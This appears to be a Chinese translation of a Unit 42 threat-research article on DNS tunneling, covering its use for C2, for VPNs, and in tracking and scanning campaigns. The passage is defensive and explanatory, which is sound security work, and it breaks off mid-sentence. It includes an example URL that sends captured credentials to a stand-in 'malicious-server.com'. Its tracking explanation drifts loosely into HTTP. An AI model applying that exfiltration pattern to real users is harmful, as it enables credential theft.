DNS 隧道技术用于掩藏C2和VPN以及扩大用户跟踪和网络扫描的范围

威胁狩猎，本文介绍了域名系统 (DNS) 隧道在野外的新应用的案例研究
翻译：
https://unit42.paloaltonetworks.com/three-dns-tunneling-campaigns/

概述
本文介绍了域名系统 (DNS) 隧道在野外的新应用的案例研究。这些技术不仅仅用于简单的命令和控制(C2)和虚拟专用网络(VPN)目的的DNS隧道。它们的应用范围已经超出了最初设计的用途。

恶意行为者有时会使用 DNS 隧道作为隐蔽通信通道。这使得他们能够绕过传统的网络防火墙，隐藏 C2 流量并从传统检测方法中窃取数据。

然而，我们最近发现了三个活动，其中 DNS 隧道被用于传统 C2 或 VPN 以外的目的。其目的是扫描和跟踪。在扫描的情况下，攻击者使用 DNS 隧道来扫描受害者的网络基础设施并收集对未来攻击有用的信息。为了进行跟踪，攻击者使用 DNS 隧道技术来跟踪恶意电子邮件的传送并监控内容传送网络 (CDN) 的使用情况。

本文提供了一个详细的案例研究，揭示了攻击者如何使用 DNS 隧道进行扫描和跟踪。我们希望本文的介绍能够提高人们对这些新用例的认识，并提供进一步的见解，帮助安全专业人员更好地保护他们的网络。

DNS 隧道
DNS 隧道将信息嵌入 DNS 请求和响应中。这样做允许受攻击者妥协的主机通过 DNS 流量与其控制下的名称服务器进行通信。下图 1 显示了一个示例。
DNS 隧道的典型用例涉及以下步骤：

攻击者首先注册一个域（例如， male[.]site ）。接下来，设置使用 DNS 隧道作为通信通道的 C2 服务器。攻击者可以通过多种方式建立 C2 通道，包括利用Cobalt Strike 。
攻击者编写、开发或获取作为客户端与服务器通信的恶意软件，然后将该恶意软件传递到受感染的客户端计算机。
受感染的机器通常位于防火墙后面。这意味着它无法直接与攻击者的服务器通信。然而，该恶意软件能够对恶意站点子域内的数据进行编码，并对 DNS 解析器执行 DNS 查询（图 1）。
用于隧道的完全限定域名 (FQDN) 应该是唯一的，因此 DNS 解析器无法在其缓存中找到相应的记录。这会导致解析器递归查询攻击者下的域的根域名服务器、顶级域 (TLD) 域名服务器和权威域名服务器。
攻击者可以解码 DNS 流量以检索数据并操纵 DNS 响应以将恶意数据窃取到客户端。

图 1.通过 DNS 隧道进行数据泄露和渗透的概述。
DNS 隧道是如何隐藏的？
DNS 隧道被三个因素隐藏：

传统防火墙可以拒绝未经授权的流量。然而，用户数据报协议 (UDP) 端口 53 上的 DNS 流量非常普遍，防火墙和其他网络安全措施通常允许这种流量。
DNS 隧道使用 DNS 协议的实现，并通过受感染客户端和攻击者服务器之间的逻辑通道执行。这意味着客户端计算机不直接与攻击者的服务器通信。这进一步有助于隐藏。
攻击者通常使用自己定制的方法对他们在数据外泄或渗透过程中发送的数据进行编码，从而使数据隐藏在看似合法的 DNS 流量中。
攻击者如何使用 DNS 隧道
使用 DNS 隧道进行 C2 允许攻击者建立隐秘且有弹性的通信通道，使攻击者更容易执行数据外泄、渗透和其他恶意活动。DarkHydrus、OilRig、xHunt、SUNBURST和Decoy Dog等著名活动都利用 DNS 隧道进行 C2。

攻击者使用的 DNS 记录类型包括：

IPv4（A）
IPv6（AAAA）
邮件交换 (MX)
别名记录 (CNAME)
文本 (TXT)
一些 VPN 供应商可能会使用 DNS 隧道来绕过防火墙来绕过互联网审查或网络服务费用。
除了 C2 和 VPN 目的之外，攻击者还可能使用 DNS 隧道进行跟踪和扫描目的。在最近的隧道挖掘活动中也观察到了这种用法。

用于跟踪目的的 DNS 隧道
攻击者可以使用 DNS 隧道来跟踪与垃圾邮件、网络钓鱼和广告内容相关的受害者行为。攻击者通过向受害者分发恶意域并将受害者的身份信息编码在该域的子域的有效负载中来实现跟踪。
用于扫描目的的 DNS 隧道
攻击者可能会使用欺骗性的源 IP 地址并将 IP 地址和时间戳编码在隧道有效负载中来扫描您的网络基础设施。然后，攻击者可以发现开放解析器并利用这些解析器中的漏洞来执行 DNS 攻击。这可能会导致恶意重定向和拒绝服务 (DoS)。
为了更好地理解这两个新用例，以下部分描述了我们观察到的使用 DNS 隧道进行跟踪和扫描的活动。

用于跟踪目的的 DNS 隧道
在传统的 C2 通信中，黑客通常会利用一种叫做C2通信的方法来远程控制受害者的计算机。在这种方法中，黑客会把受害者的行为数据（比如访问过的网页、输入的密码等）隐藏在一个网址里，然后通过网络把这个网址发送到他们控制的服务器。这种方式看起来就像是正常的网络活动，所以不容易被发现。
示例：
受害者访问了一个网页，其URL是：

http://example.com/page
恶意软件捕获了这个URL，并记录了受害者在页面上的键盘输入，比如：

username=xz&password=12345
然后，恶意软件将这些数据编码后嵌入到新的URL中，例如：

http://malicious-server.com/track?data=http%3A%2F%2Fexample.com%2Fpage%26username%3Dxz%26password%3D12345
在这个